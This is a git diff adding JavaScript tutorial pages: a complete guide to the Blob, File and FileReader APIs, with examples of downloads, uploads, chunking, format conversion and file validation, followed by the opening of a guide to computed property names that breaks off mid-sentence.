100644 index 00000000..a574f015 --- /dev/null +++ b/docs/beyond/concepts/blob-file-api.mdx @@ -0,0 +1,1137 @@ +--- +title: "Blob & File API: Working with Binary Data in JavaScript" +sidebarTitle: "Blob & File API" +description: "Learn JavaScript Blob and File APIs for binary data. Create, read, and manipulate files, handle uploads, generate downloads, and work with FileReader." +--- + +How do you let users upload images? How do you create a downloadable file from data generated in JavaScript? How can you read the contents of a file the user selected? + +The **[Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob)** and **[File](https://developer.mozilla.org/en-US/docs/Web/API/File)** APIs are JavaScript's tools for working with binary data. They power everything from profile picture uploads to CSV exports to image processing in the browser. + +```javascript +// Create a text file and download it +const content = 'Hello, World!' +const blob = new Blob([content], { type: 'text/plain' }) +const url = URL.createObjectURL(blob) + +const link = document.createElement('a') +link.href = url +link.download = 'hello.txt' +link.click() + +URL.revokeObjectURL(url) // Clean up memory +``` + +Understanding these APIs unlocks powerful client-side file handling without needing a server. + +<Info> +**What you'll learn in this guide:** +- What Blobs are and how to create them from strings, arrays, and other data +- How the File interface extends Blob for user-selected files +- Reading file contents with FileReader (text, data URLs, ArrayBuffers) +- Creating downloadable files with Blob URLs +- Uploading files with FormData +- Slicing large files for chunked uploads +- Converting between Blobs, ArrayBuffers, and Data URLs +</Info> + +<Warning> +**Prerequisites:** This guide assumes you understand [Promises](/concepts/promises) and [async/await](/concepts/async-await). If you're not familiar with those concepts, read those guides first. You should also be comfortable with basic DOM manipulation. +</Warning> + +--- + +## What is a Blob in JavaScript? + +A **[Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob)** (Binary Large Object) is an immutable, file-like object that represents raw binary data. Think of it as a container that can hold any kind of data: text, images, audio, video, or arbitrary bytes. Blobs are the foundation for file handling in JavaScript, as the File interface is built on top of Blob. + +Unlike regular JavaScript strings or arrays, Blobs are designed to efficiently handle large amounts of binary data. They're immutable, meaning once created, you can't change their contents. Instead, you create new Blobs from existing ones. + +```javascript +// Creating Blobs from different data types +const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' }) +const jsonBlob = new Blob([JSON.stringify({ name: 'Alice' })], { type: 'application/json' }) +const htmlBlob = new Blob(['<h1>Title</h1>'], { type: 'text/html' }) + +console.log(textBlob.size) // 13 (bytes) +console.log(textBlob.type) // "text/plain" +``` + +--- + +## The Filing Cabinet Analogy + +Imagine a filing cabinet in an office. The cabinet (Blob) holds documents, but you can't read them just by looking at the cabinet. You need to open it and take out the contents. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ BLOB: THE FILING CABINET │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ ┌────────────────┐ │ +│ │ │ Blob Properties: │ +│ │ ┌──────────┐ │ • size: how many bytes (papers) inside │ +│ │ │ [data] │ │ • type: what kind of content (MIME type) │ +│ │ │ [data] │ │ │ +│ │ │ [data] │ │ To read the contents, you need: │ +│ │ └──────────┘ │ • FileReader (opens and reads) │ +│ │ │ • blob.text() / blob.arrayBuffer() (async) │ +│ │ 📁 BLOB │ • URL.createObjectURL() (creates a link) │ +│ └────────────────┘ │ +│ │ +│ You can't change papers inside, but you can: │ +│ • Create a new cabinet with different papers (new Blob) │ +│ • Take a portion of papers (blob.slice()) │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +The key insight: **Blobs store data but don't expose it directly**. You need tools like [FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader) or Blob methods to access the contents. + +--- + +## Creating Blobs + +The [`Blob()` constructor](https://developer.mozilla.org/en-US/docs/Web/API/Blob/Blob) takes two arguments: an array of data parts and an options object. + +### Basic Blob Creation + +```javascript +// Syntax: new Blob(blobParts, options) + +// From a string +const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' }) + +// From multiple strings (they're concatenated) +const multiBlob = new Blob(['Hello, ', 'World!'], { type: 'text/plain' }) + +// From JSON data +const user = { name: 'Alice', age: 30 } +const jsonBlob = new Blob( + [JSON.stringify(user, null, 2)], + { type: 'application/json' } +) + +// From HTML +const htmlBlob = new Blob( + ['<!DOCTYPE html><html><body><h1>Hello</h1></body></html>'], + { type: 'text/html' } +) +``` + +### From Typed Arrays and ArrayBuffers + +Blobs can also be created from binary data like [Typed Arrays](/beyond/concepts/typed-arrays-arraybuffers): + +```javascript +// From a Uint8Array +const bytes = new Uint8Array([72, 101, 108, 108, 111]) // "Hello" in ASCII +const binaryBlob = new Blob([bytes], { type: 'application/octet-stream' }) + +// From an ArrayBuffer +const buffer = new ArrayBuffer(8) +const view = new DataView(buffer) +view.setFloat64(0, Math.PI) +const bufferBlob = new Blob([buffer]) + +// Combining different data types +const mixedBlob = new Blob([ + 'Header: ', + bytes, + '\nFooter' +], { type: 'text/plain' }) +``` + +### Blob Properties + +Every Blob has two read-only properties: + +| Property | Description | Example | +|----------|-------------|---------| +| `size` | Size in bytes | `blob.size` returns `13` for "Hello, World!" | +| `type` | MIME type string | `blob.type` returns `"text/plain"` | + +```javascript +const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) +console.log(blob.size) // 13 +console.log(blob.type) // "text/plain" +``` + +--- + +## The File Interface + +The **[File](https://developer.mozilla.org/en-US/docs/Web/API/File)** interface extends Blob, adding properties specific to files from the user's system. When users select files through `<input type="file">` or drag-and-drop, you get File objects. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ FILE EXTENDS BLOB │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ ┌─────────────────────────────────────────────────────────────────┐ │ +│ │ BLOB │ │ +│ │ • size (bytes) │ │ +│ │ • type (MIME type) │ │ +│ │ • slice(), text(), arrayBuffer(), stream() │ │ +│ │ │ │ +│ │ ┌─────────────────────────────────────────────────────────┐ │ │ +│ │ │ FILE │ │ │ +│ │ │ + name (filename with extension) │ │ │ +│ │ │ + lastModified (timestamp) │ │ │ +│ │ │ + webkitRelativePath (for directory uploads) │ │ │ +│ │ └─────────────────────────────────────────────────────────┘ │ │ +│ └─────────────────────────────────────────────────────────────────┘ │ +│ │ +│ File inherits everything from Blob, plus file-specific metadata. │ +│ Any API that accepts Blob also accepts File. │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### Getting Files from User Input + +The most common way to get File objects is from an `<input type="file">` element: + +```javascript +// HTML: <input type="file" id="fileInput" multiple> + +const fileInput = document.getElementById('fileInput') + +fileInput.addEventListener('change', (event) => { + const files = event.target.files // FileList object + + for (const file of files) { + console.log('Name:', file.name) // "photo.jpg" + console.log('Size:', file.size) // 1024000 (bytes) + console.log('Type:', file.type) // "image/jpeg" + console.log('Modified:', file.lastModified) // 1704067200000 (timestamp) + console.log('Modified Date:', new Date(file.lastModified)) + } +}) +``` + +### Creating File Objects Programmatically + +You can create File objects directly with the [`File()` constructor](https://developer.mozilla.org/en-US/docs/Web/API/File/File): + +```javascript +// Syntax: new File(fileBits, fileName, options) + +const file = new File( + ['Hello, World!'], // Content (same as Blob) + 'greeting.txt', // Filename + { + type: 'text/plain', // MIME type + lastModified: Date.now() // Optional timestamp + } +) + +console.log(file.name) // "greeting.txt" +console.log(file.size) // 13 +console.log(file.type) // "text/plain" +``` + +### Drag and Drop Files + +Files can also come from drag-and-drop operations: + +```javascript +const dropZone = document.getElementById('dropZone') + +dropZone.addEventListener('dragover', (e) => { + e.preventDefault() // Required to allow drop + dropZone.classList.add('drag-over') +}) + +dropZone.addEventListener('dragleave', () => { + dropZone.classList.remove('drag-over') +}) + +dropZone.addEventListener('drop', (e) => { + e.preventDefault() + dropZone.classList.remove('drag-over') + + const files = e.dataTransfer.files // FileList + + for (const file of files) { + console.log('Dropped:', file.name, file.type) + } +}) +``` + +--- + +## Reading Files with FileReader + +**[FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader)** is an asynchronous API for reading Blob and File contents. It provides different methods depending on how you want the data: + +| Method | Returns | Use Case | +|--------|---------|----------| +| `readAsText(blob)` | String | Text files, JSON, CSV | +| `readAsDataURL(blob)` | Data URL string | Image previews, embedding | +| `readAsArrayBuffer(blob)` | ArrayBuffer | Binary processing | +| `readAsBinaryString(blob)` | Binary string | Legacy (deprecated) | + +### Reading Text Content + +```javascript +function readTextFile(file) { + return new Promise((resolve, reject) => { + const reader = new FileReader() + + reader.onload = () => resolve(reader.result) + reader.onerror = () => reject(reader.error) + + reader.readAsText(file) + }) +} + +// Usage with file input +fileInput.addEventListener('change', async (e) => { + const file = e.target.files[0] + + if (file.type === 'text/plain' || file.name.endsWith('.txt')) { + const content = await readTextFile(file) + console.log(content) + } +}) +``` + +### Reading as Data URL (for Image Previews) + +A [Data URL](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs) is a string that contains the file data encoded as base64. It can be used directly as an `src` attribute for images: + +```javascript +function readAsDataURL(file) { + return new Promise((resolve, reject) => { + const reader = new FileReader() + + reader.onload = () => resolve(reader.result) + reader.onerror = () => reject(reader.error) + + reader.readAsDataURL(file) + }) +} + +// Image preview example +const imageInput = document.getElementById('imageInput') +const preview = document.getElementById('preview') + +imageInput.addEventListener('change', async (e) => { + const file = e.target.files[0] + + if (file && file.type.startsWith('image/')) { + const dataUrl = await readAsDataURL(file) + preview.src = dataUrl // Display the image + // dataUrl looks like: "data:image/jpeg;base64,/9j/4AAQSkZJRg..." + } +}) +``` + +### Reading as ArrayBuffer + +For binary processing, read the file as an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer): + +```javascript +function readAsArrayBuffer(file) { + return new Promise((resolve, reject) => { + const reader = new FileReader() + + reader.onload = () => resolve(reader.result) + reader.onerror = () => reject(reader.error) + + reader.readAsArrayBuffer(file) + }) +} + +// Example: Check if a file is a PNG image by reading magic bytes +async function isPNG(file) { + const buffer = await readAsArrayBuffer(file.slice(0, 8)) + const bytes = new Uint8Array(buffer) + + // PNG magic number: 137 80 78 71 13 10 26 10 + const pngSignature = [137, 80, 78, 71, 13, 10, 26, 10] + + return pngSignature.every((byte, i) => bytes[i] === byte) +} +``` + +### FileReader Events + +FileReader provides several events for monitoring the reading process: + +```javascript +const reader = new FileReader() + +reader.onloadstart = () => console.log('Started reading') +reader.onprogress = (e) => { + if (e.lengthComputable) { + const percent = (e.loaded / e.total) * 100 + console.log(`Progress: ${percent.toFixed(1)}%`) + } +} +reader.onload = () => console.log('Read complete:', reader.result) +reader.onerror = () => console.error('Error:', reader.error) +reader.onloadend = () => console.log('Finished (success or failure)') + +reader.readAsText(file) +``` + +--- + +## Modern Blob Methods + +Modern browsers support Promise-based methods directly on Blob objects, which are often cleaner than FileReader: + +```javascript +const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) + +// Read as text (Promise-based) +const text = await blob.text() +console.log(text) // "Hello, World!" + +// Read as ArrayBuffer +const buffer = await blob.arrayBuffer() +console.log(new Uint8Array(buffer)) // Uint8Array [72, 101, ...] + +// Read as stream (for large files) +const stream = blob.stream() +const reader = stream.getReader() + +while (true) { + const { done, value } = await reader.read() + if (done) break + console.log('Chunk:', value) // Uint8Array chunks +} +``` + +<Tip> +**When to use what:** For simple reads, use `blob.text()` or `blob.arrayBuffer()`. For large files where you want to process data as it streams, use `blob.stream()`. Use FileReader when you need progress events or Data URLs. +</Tip> + +--- + +## Creating Downloadable Files + +One of the most useful Blob applications is generating downloadable files in the browser. The key is [`URL.createObjectURL()`](https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL_static). + +### Basic Download + +```javascript +function downloadBlob(blob, filename) { + // Create a URL pointing to the blob + const url = URL.createObjectURL(blob) + + // Create a temporary link element + const link = document.createElement('a') + link.href = url + link.download = filename // Suggested filename + + // Trigger the download + document.body.appendChild(link) + link.click() + document.body.removeChild(link) + + // Clean up the URL (free memory) + URL.revokeObjectURL(url) +} + +// Download a text file +const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' }) +downloadBlob(textBlob, 'greeting.txt') + +// Download JSON data +const data = { users: [{ name: 'Alice' }, { name: 'Bob' }] } +const jsonBlob = new Blob( + [JSON.stringify(data, null, 2)], + { type: 'application/json' } +) +downloadBlob(jsonBlob, 'users.json') +``` + +### Export Table Data as CSV + +```javascript +function tableToCSV(tableData, headers) { + const rows = [ + headers.join(','), + ...tableData.map(row => + row.map(cell => `"${cell}"`).join(',') + ) + ] + + return rows.join('\n') +} + +function downloadCSV(tableData, headers, filename) { + const csv = tableToCSV(tableData, headers) + const blob = new Blob([csv], { type: 'text/csv' }) + downloadBlob(blob, filename) +} + +// Usage +const headers = ['Name', 'Email', 'Role'] +const data = [ + ['Alice', 'alice@example.com', 'Admin'], + ['Bob', 'bob@example.com', 'User'] +] + +downloadCSV(data, headers, 'users.csv') +``` + +### Memory Management with Object URLs + +<Warning> +**Memory Leak Risk:** Every `URL.createObjectURL()` call allocates memory that isn't automatically freed. Always call `URL.revokeObjectURL()` when you're done with the URL, or you'll leak memory. +</Warning> + +```javascript +// ❌ WRONG - Memory leak! +function displayImage(blob) { + const url = URL.createObjectURL(blob) + img.src = url + // URL is never revoked, memory is leaked +} + +// ✓ CORRECT - Clean up after use +function displayImage(blob) { + const url = URL.createObjectURL(blob) + img.src = url + + img.onload = () => { + URL.revokeObjectURL(url) // Free memory after image loads + } +} + +// ✓ CORRECT - Clean up previous URL before creating new one +let currentUrl = null + +function displayImage(blob) { + if (currentUrl) { + URL.revokeObjectURL(currentUrl) + } + + currentUrl = URL.createObjectURL(blob) + img.src = currentUrl +} +``` + +--- + +## Uploading Files + +### Using FormData + +The most common way to upload files is with [FormData](https://developer.mozilla.org/en-US/docs/Web/API/FormData): + +```javascript +async function uploadFile(file) { + const formData = new FormData() + formData.append('file', file) + formData.append('description', 'My uploaded file') + + const response = await fetch('/api/upload', { + method: 'POST', + body: formData + // Don't set Content-Type header - browser sets it with boundary + }) + + if (!response.ok) { + throw new Error(`Upload failed: ${response.status}`) + } + + return response.json() +} + +// With file input +fileInput.addEventListener('change', async (e) => { + const file = e.target.files[0] + + try { + const result = await uploadFile(file) + console.log('Uploaded:', result) + } catch (error) { + console.error('Upload error:', error) + } +}) +``` + +### Uploading Multiple Files + +```javascript +async function uploadMultipleFiles(files) { + const formData = new FormData() + + for (const file of files) { + formData.append('files', file) // Same key for multiple files + } + + const response = await fetch('/api/upload-multiple', { + method: 'POST', + body: formData + }) + + return response.json() +} +``` + +### Upload with Progress + +For large files, show upload progress: + +```javascript +function uploadWithProgress(file, onProgress) { + return new Promise((resolve, reject) => { + const xhr = new XMLHttpRequest() + const formData = new FormData() + formData.append('file', file) + + xhr.upload.addEventListener('progress', (e) => { + if (e.lengthComputable) { + const percent = (e.loaded / e.total) * 100 + onProgress(percent) + } + }) + + xhr.addEventListener('load', () => { + if (xhr.status >= 200 && xhr.status < 300) { + resolve(JSON.parse(xhr.responseText)) + } else { + reject(new Error(`Upload failed: ${xhr.status}`)) + } + }) + + xhr.addEventListener('error', () => reject(new Error('Network error'))) + + xhr.open('POST', '/api/upload') + xhr.send(formData) + }) +} + +// Usage +uploadWithProgress(file, (percent) => { + progressBar.style.width = `${percent}%` + progressText.textContent = `${percent.toFixed(0)}%` +}) +``` + +--- + +## Slicing Blobs + +The [`slice()`](https://developer.mozilla.org/en-US/docs/Web/API/Blob/slice) method creates a new Blob containing a portion of the original: + +```javascript +const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) + +// Syntax: blob.slice(start, end, contentType) +const firstFive = blob.slice(0, 5) // "Hello" +const lastSix = blob.slice(-6) // "World!" +const middle = blob.slice(7, 12) // "World" +const withNewType = blob.slice(0, 5, 'text/html') // Change MIME type + +// Read the sliced content +console.log(await firstFive.text()) // "Hello" +``` + +### Chunked File Upload + +For very large files, split them into chunks: + +```javascript +async function uploadInChunks(file, chunkSize = 1024 * 1024) { // 1MB chunks + const totalChunks = Math.ceil(file.size / chunkSize) + + for (let i = 0; i < totalChunks; i++) { + const start = i * chunkSize + const end = Math.min(start + chunkSize, file.size) + const chunk = file.slice(start, end) + + const formData = new FormData() + formData.append('chunk', chunk) + formData.append('chunkIndex', i) + formData.append('totalChunks', totalChunks) + formData.append('filename', file.name) + + await fetch('/api/upload-chunk', { + method: 'POST', + body: formData + }) + + console.log(`Uploaded chunk ${i + 1}/${totalChunks}`) + } +} +``` + +### Reading Large Files in Chunks + +For processing large files without loading everything into memory: + +```javascript +async function processLargeFile(file, chunkSize = 1024 * 1024) { + let offset = 0 + + while (offset < file.size) { + const chunk = file.slice(offset, offset + chunkSize) + const content = await chunk.text() + + // Process this chunk + processChunk(content) + + offset += chunkSize + console.log(`Processed ${Math.min(offset, file.size)} / ${file.size} bytes`) + } +} +``` + +--- + +## Converting Between Formats + +### Blob to Data URL + +```javascript +// Using FileReader +function blobToDataURL(blob) { + return new Promise((resolve, reject) => { + const reader = new FileReader() + reader.onload = () => resolve(reader.result) + reader.onerror = reject + reader.readAsDataURL(blob) + }) +} + +// Usage +const blob = new Blob(['Hello'], { type: 'text/plain' }) +const dataUrl = await blobToDataURL(blob) +// "data:text/plain;base64,SGVsbG8=" +``` + +### Data URL to Blob + +```javascript +function dataURLtoBlob(dataUrl) { + const [header, base64Data] = dataUrl.split(',') + const mimeType = header.match(/:(.*?);/)[1] + const binaryString = atob(base64Data) + const bytes = new Uint8Array(binaryString.length) + + for (let i = 0; i < binaryString.length; i++) { + bytes[i] = binaryString.charCodeAt(i) + } + + return new Blob([bytes], { type: mimeType }) +} + +// Usage +const dataUrl = 'data:text/plain;base64,SGVsbG8=' +const blob = dataURLtoBlob(dataUrl) +console.log(await blob.text()) // "Hello" +``` + +### Blob to ArrayBuffer and Back + +```javascript +// Blob to ArrayBuffer +const blob = new Blob(['Hello']) +const buffer = await blob.arrayBuffer() + +// ArrayBuffer to Blob +const newBlob = new Blob([buffer]) +``` + +### Canvas to Blob + +```javascript +// Get a canvas element +const canvas = document.getElementById('myCanvas') + +// Convert to Blob (async) +canvas.toBlob((blob) => { + // blob is now a Blob with image data + downloadBlob(blob, 'canvas-image.png') +}, 'image/png', 0.9) // format, quality + +// Or with a Promise wrapper +function canvasToBlob(canvas, type = 'image/png', quality = 0.9) { + return new Promise((resolve) => { + canvas.toBlob(resolve, type, quality) + }) +} +``` + +--- + +## Common Mistakes + +### The #1 Blob Mistake: Forgetting to Revoke URLs + +```javascript +// ❌ WRONG - Creates memory leak +function previewImages(files) { + for (const file of files) { + const img = document.createElement('img') + img.src = URL.createObjectURL(file) // Never revoked! + gallery.appendChild(img) + } +} + +// ✓ CORRECT - Revoke after image loads +function previewImages(files) { + for (const file of files) { + const img = document.createElement('img') + const url = URL.createObjectURL(file) + + img.onload = () => URL.revokeObjectURL(url) + img.src = url + gallery.appendChild(img) + } +} +``` + +### Setting Content-Type with FormData + +```javascript +// ❌ WRONG - Don't set Content-Type for FormData +const formData = new FormData() +formData.append('file', file) + +fetch('/api/upload', { + method: 'POST', + headers: { + 'Content-Type': 'multipart/form-data' // Wrong! Missing boundary + }, + body: formData +}) + +// ✓ CORRECT - Let browser set Content-Type with boundary +fetch('/api/upload', { + method: 'POST', + // No Content-Type header - browser handles it + body: formData +}) +``` + +### Not Validating File Types + +```javascript +// ❌ WRONG - Trusting file extension +if (file.name.endsWith('.jpg')) { + // User could rename any file to .jpg +} + +// ✓ BETTER - Check MIME type +if (file.type.startsWith('image/')) { + // More reliable, but can still be spoofed +} + +// ✓ BEST - Validate magic bytes for critical applications +async function isValidJPEG(file) { + const buffer = await file.slice(0, 3).arrayBuffer() + const bytes = new Uint8Array(buffer) + // JPEG magic number: FF D8 FF + return bytes[0] === 0xFF && bytes[1] === 0xD8 && bytes[2] === 0xFF +} +``` + +--- + +## Real-World Patterns + +### Image Compression Before Upload + +```javascript +async function compressImage(file, maxWidth = 1200, quality = 0.8) { + // Create an image element + const img = new Image() + const url = URL.createObjectURL(file) + + await new Promise((resolve, reject) => { + img.onload = resolve + img.onerror = reject + img.src = url + }) + + URL.revokeObjectURL(url) + + // Calculate new dimensions + let { width, height } = img + if (width > maxWidth) { + height = (height * maxWidth) / width + width = maxWidth + } + + // Draw to canvas + const canvas = document.createElement('canvas') + canvas.width = width + canvas.height = height + + const ctx = canvas.getContext('2d') + ctx.drawImage(img, 0, 0, width, height) + + // Convert back to blob + return new Promise((resolve) => { + canvas.toBlob(resolve, 'image/jpeg', quality) + }) +} + +// Usage +const compressed = await compressImage(originalFile) +console.log(`Original: ${originalFile.size}, Compressed: ${compressed.size}`) +``` + +### File Type Validation + +```javascript +const ALLOWED_TYPES = { + 'image/jpeg': [0xFF, 0xD8, 0xFF], + 'image/png': [0x89, 0x50, 0x4E, 0x47], + 'image/gif': [0x47, 0x49, 0x46], + 'application/pdf': [0x25, 0x50, 0x44, 0x46] +} + +async function validateFileType(file) { + const maxSignatureLength = Math.max( + ...Object.values(ALLOWED_TYPES).map(sig => sig.length) + ) + + const buffer = await file.slice(0, maxSignatureLength).arrayBuffer() + const bytes = new Uint8Array(buffer) + + for (const [mimeType, signature] of Object.entries(ALLOWED_TYPES)) { + if (signature.every((byte, i) => bytes[i] === byte)) { + return { valid: true, detectedType: mimeType } + } + } + + return { valid: false, detectedType: null } +} +``` + +### Copy/Paste Image Handling + +```javascript +document.addEventListener('paste', async (e) => { + const items = e.clipboardData?.items + if (!items) return + + for (const item of items) { + if (item.type.startsWith('image/')) { + const file = item.getAsFile() + + // Preview the pasted image + const url = URL.createObjectURL(file) + const img = document.createElement('img') + img.onload = () => URL.revokeObjectURL(url) + img.src = url + pasteTarget.appendChild(img) + } + } +}) +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember about Blob and File APIs:** + +1. **Blob is a container for binary data** — It stores raw bytes with a MIME type but doesn't expose contents directly. Use FileReader or Blob methods to read data. + +2. **File extends Blob** — File adds `name`, `lastModified`, and other metadata. Any API accepting Blob also accepts File. + +3. **FileReader is asynchronous** — Use `readAsText()`, `readAsDataURL()`, or `readAsArrayBuffer()` depending on your needs. Prefer `blob.text()` and `blob.arrayBuffer()` for simpler code. + +4. **Object URLs need cleanup** — Always call `URL.revokeObjectURL()` after using `URL.createObjectURL()` to avoid memory leaks. + +5. **Don't set Content-Type for FormData uploads** — The browser automatically sets the correct multipart boundary. Setting it manually breaks the upload. + +6. **Blobs are immutable** — You can't modify a Blob. Use `slice()` to create new Blobs from portions of existing ones. + +7. **Use slice() for large files** — Process files in chunks to avoid loading everything into memory at once. + +8. **Data URLs are synchronous but heavy** — They're convenient for small files but base64 encoding increases size by ~33%. + +9. **Validate files properly** — Don't trust file extensions or even MIME types. Check magic bytes for security-critical applications. + +10. **FormData handles multiple files** — Append files with the same key to upload multiple files in one request. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What's the difference between Blob and File?"> + **Answer:** + + File extends Blob, inheriting all its properties and methods while adding file-specific metadata: + + - `name`: The filename (e.g., "photo.jpg") + - `lastModified`: Timestamp when the file was last modified + - `webkitRelativePath`: Path for directory uploads + + Any API that accepts a Blob also accepts a File, since File is a subclass of Blob. + </Accordion> + + <Accordion title="Question 2: Why must you call URL.revokeObjectURL()?"> + **Answer:** + + `URL.createObjectURL()` creates a reference to the Blob in memory that persists until the page unloads or you explicitly revoke it. Each call allocates memory that won't be garbage collected automatically. + + If you create many Object URLs without revoking them (like in an image gallery preview), you'll leak memory. Always revoke the URL when you're done using it. + + ```javascript + const url = URL.createObjectURL(blob) + img.src = url + img.onload = () => URL.revokeObjectURL(url) // Clean up + ``` + </Accordion> + + <Accordion title="Question 3: How do you read a file as text?"> + **Answer:** + + Two approaches: + + ```javascript + // Modern way (Promise-based) + const text = await file.text() + + // Traditional way (FileReader) + const reader = new FileReader() + reader.onload = () => console.log(reader.result) + reader.readAsText(file) + ``` + + The modern `blob.text()` method is cleaner for simple reads. Use FileReader when you need progress events. + </Accordion> + + <Accordion title="Question 4: Why shouldn't you set Content-Type when uploading with FormData?"> + **Answer:** + + When uploading files with FormData, the Content-Type must be `multipart/form-data` with a specific boundary string that separates the parts. The browser generates this boundary automatically. + + If you manually set `Content-Type: 'multipart/form-data'`, you won't include the boundary, and the server can't parse the request. Let the browser handle it: + + ```javascript + // Correct - no Content-Type header + fetch('/upload', { method: 'POST', body: formData }) + ``` + </Accordion> + + <Accordion title="Question 5: How do you process a large file without loading it all into memory?"> + **Answer:** + + Use `blob.slice()` to read the file in chunks: + + ```javascript + async function processInChunks(file, chunkSize = 1024 * 1024) { + let offset = 0 + + while (offset < file.size) { + const chunk = file.slice(offset, offset + chunkSize) + const content = await chunk.text() + processChunk(content) + offset += chunkSize + } + } + ``` + + This processes the file piece by piece, never loading more than `chunkSize` bytes into memory at once. + </Accordion> + + <Accordion title="Question 6: When should you use Data URLs vs Object URLs?"> + **Answer:** + + **Data URLs** (`data:...base64,...`): + - Self-contained (no external reference) + - Can be stored, serialized, sent via JSON + - 33% larger than original (base64 overhead) + - Synchronous creation with FileReader + + **Object URLs** (`blob:...`): + - Just a reference to the Blob in memory + - Must be revoked to free memory + - Same size as original data + - Only valid in the current document + + Use Data URLs for small files you need to persist. Use Object URLs for temporary previews and large files. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Typed Arrays & ArrayBuffers" icon="database" href="/beyond/concepts/typed-arrays-arraybuffers"> + Low-level binary data handling that works with Blobs + </Card> + <Card title="HTTP & Fetch" icon="globe" href="/concepts/http-fetch"> + How to upload files to servers using fetch() + </Card> + <Card title="Promises" icon="handshake" href="/concepts/promises"> + Understanding async operations used by Blob methods + </Card> + <Card title="async/await" icon="clock" href="/concepts/async-await"> + Modern syntax for working with FileReader and Blob APIs + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Blob — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Blob"> + Official MDN documentation for the Blob interface with constructor, properties, and methods. + </Card> + <Card title="File — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/File"> + MDN reference for the File interface that extends Blob with file-specific properties. + </Card> + <Card title="FileReader — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/FileReader"> + Complete reference for reading file contents asynchronously with all methods and events. + </Card> + <Card title="Using files from web applications — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/File_API/Using_files_from_web_applications"> + MDN guide covering file selection, drag-drop, and practical file handling patterns. + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="Blob — javascript.info" icon="newspaper" href="https://javascript.info/blob"> + Comprehensive tutorial covering Blob creation, URLs, conversions, and image handling. Part of the excellent Binary Data section on javascript.info. + </Card> + <Card title="File and FileReader — javascript.info" icon="newspaper" href="https://javascript.info/file"> + Detailed guide on File objects and FileReader with practical examples for reading different file formats. + </Card> + <Card title="How To Read and Process Files with FileReader — DigitalOcean" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/js-file-reader"> + Step-by-step tutorial with complete code examples for text, image, and binary file reading. + </Card> + <Card title="Web File API deep dive — DEV Community" icon="newspaper" href="https://dev.to/tmrc/the-last-file-input-tutorial-youll-ever-need-2023-4ppd"> + Modern take on File API covering everything from basic input handling to advanced validation patterns. + </Card> + <Card title="FileReader API — 12 Days of Web" icon="newspaper" href="https://12daysofweb.dev/2023/filereader-api/"> + Concise introduction to FileReader with clear explanations of when and why to use each reading method. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="File Reader API in JavaScript — dcode" icon="video" href="https://www.youtube.com/watch?v=bnhE9lEBwLQ"> + Clear 10-minute walkthrough of FileReader basics with a practical file preview example. Great starting point. + </Card> + <Card title="JavaScript File Upload Tutorial — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=e0_SAFC5jig"> + Complete file upload implementation from frontend to backend, covering validation, progress, and error handling. + </Card> + <Card title="Drag and Drop File Upload — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=_F2Ek-DGsgg"> + Practical tutorial building a drag-and-drop file upload zone with preview functionality. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/computed-property-names.mdx b/docs/beyond/concepts/computed-property-names.mdx new file mode 100644 index 00000000..b6fff4b9 --- /dev/null +++ b/docs/beyond/concepts/computed-property-names.mdx @@ -0,0 +1,952 @@ +--- +title: "Computed Property Names: Dynamic Object Keys in JavaScript" +sidebarTitle: "Computed Property Names" +description: "Learn JavaScript computed property names. Create dynamic object keys with variables, expressions, Symbols, and computed methods for cleaner ES6+ code." +--- + +Have you ever needed to create an object where the property name comes from a variable? Before ES6, this required creating the object first, then adding the property in a separate step. Computed property names changed everything. + +```javascript +// Before ES6 - two steps required +const key = 'status'; +const obj = {}; +obj[key] = 'active'; + +// ES6 computed property names - single expression +const key2 = 'status'; +const obj2 = { [key2]: 'active' }; + +console.log(obj2); // { status: 'active' } +``` + +With **computed property names**, you can use any expression inside square brackets `[]` within an object literal, and JavaScript evaluates that expression to determine the property name. This seemingly small syntax addition enables powerful patterns for dynamic object creation. + +<Info> +**What you'll learn in this guide:** +- What computed property names are and their ES6 syntax +- How JavaScript evaluates computed keys (order of evaluation) +- Dynamic keys with variables and expressions +- Using Symbol keys for unique, non-colliding properties +- Computed method names, getters, and setters +- Common patterns: form handling, state updates, internationalization +- Edge cases: duplicate keys, type coercion, and the `__proto__` gotcha +</Info> + +<Warning> +**Prerequisite:** This guide assumes familiarity with [object basics](/concepts/primitive-types) and [bracket notation](/concepts/modern-js-syntax) for property access. Some examples use [Symbols](/beyond/concepts/javascript-type-nuances), which are covered in detail in the Symbol Keys section. +</Warning> + +--- + +## What are Computed Property Names? + +**Computed property names** are an ES6 feature that allows you to use an expression inside square brackets `[]` within an object literal to dynamically determine a property's name at runtime. The expression is 